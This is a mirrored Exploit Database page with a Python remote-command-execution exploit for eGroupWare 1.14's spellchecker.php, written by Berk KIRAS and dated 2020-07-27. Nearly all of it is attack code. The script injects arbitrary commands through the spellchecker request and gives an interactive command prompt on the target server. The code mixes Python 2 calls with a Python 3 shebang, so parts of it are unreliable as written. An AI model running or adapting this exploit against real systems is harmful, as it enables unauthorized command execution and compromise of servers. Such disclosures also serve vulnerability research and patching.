eGroupWare 1.14 – ‘spellchecker.php’ Remote Command Execution

• Exploit Database
• 20 阅读

• 作者： Berk KIRAS
  日期： 2020-07-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48720/

• # Exploit Title: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution
  # Date: 2020-07-27
  # Exploit Author: Berk KIRAS
  # Vendor Homepage: https://www.egroupware.org/en/
  # Version: 1.14
  # Tested on: Apache
  # Berk KIRAS PwC - Cyber Security Specialist 
  
  
  #!/usr/bin/python3
  
  import requests
  import sys
  import threading
  import urllib
  
  def send_req(command):
  #Headers
  my_datas_headers ={
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
  "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
  "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
  "Accept-Encoding": "gzip, deflate",
  "Content-type": "application/json; charset=UTF-8",
  "Connection": "close",
  }
  #If you want to edit and add headers some headers added
  s = requests.session()
   #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
  s.headers.update(my_datas_headers)
  params={"q":"||"+command+"||"}
  command_encoded = urllib.urlencode(params)
  command_encoded = command_encoded.split("=")[1]
  r = s.get(sys.argv[1]+"://"+sys.argv[2]+"/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/"+"spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl"+command_encoded)
  return r.content
   
  def main():
  if(len(sys.argv) < 3): 
  print("Usage:exploit.py <http/s> <IP> ")
  sys.exit(0)
  else:
  try:
  while True:
  cmd = raw_input("CMD_>")
  resp=send_req(cmd).split(";")[5].split("2>&1")[1]
  print(resp)
  
  except Exception:
  print(Exception)
  
  main()